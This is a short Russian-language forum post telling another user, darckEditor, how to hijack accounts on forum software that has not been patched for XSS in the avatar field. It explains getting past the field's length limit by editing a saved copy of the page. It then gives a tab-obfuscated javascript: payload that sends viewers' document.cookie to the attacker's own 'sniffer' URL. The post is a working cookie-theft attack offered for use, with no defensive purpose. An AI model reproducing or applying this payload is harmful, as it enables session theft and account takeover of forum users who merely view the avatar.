Глянул, тут можно обойтись без сплойтов.
Народ, вы не забывайте, что не все 216 пропатчены от ХСС в аватаре.
Короче, darckEditor, заходи на страницу установки аватары, сохрани ее на харде, открой блокнотом ищи что то типа maxlenght = 80 (можно просто дать поиск по слову max) и измени его с 80 на 800 например.
Далее пиши в поле путь к аватаре
j a v a s c r i p t:x=document.cookie%3Bimg=new%20Image()%3Bimg.src= %27ТВОЙ СНИФЕР%3F%27%2Bx/*.jpg*///.gif
В слове javascript стоят табуляции. В общем, те, кто глянуть твой авик отдадут тебе свои куки.
Если не получиться, пиши в личку...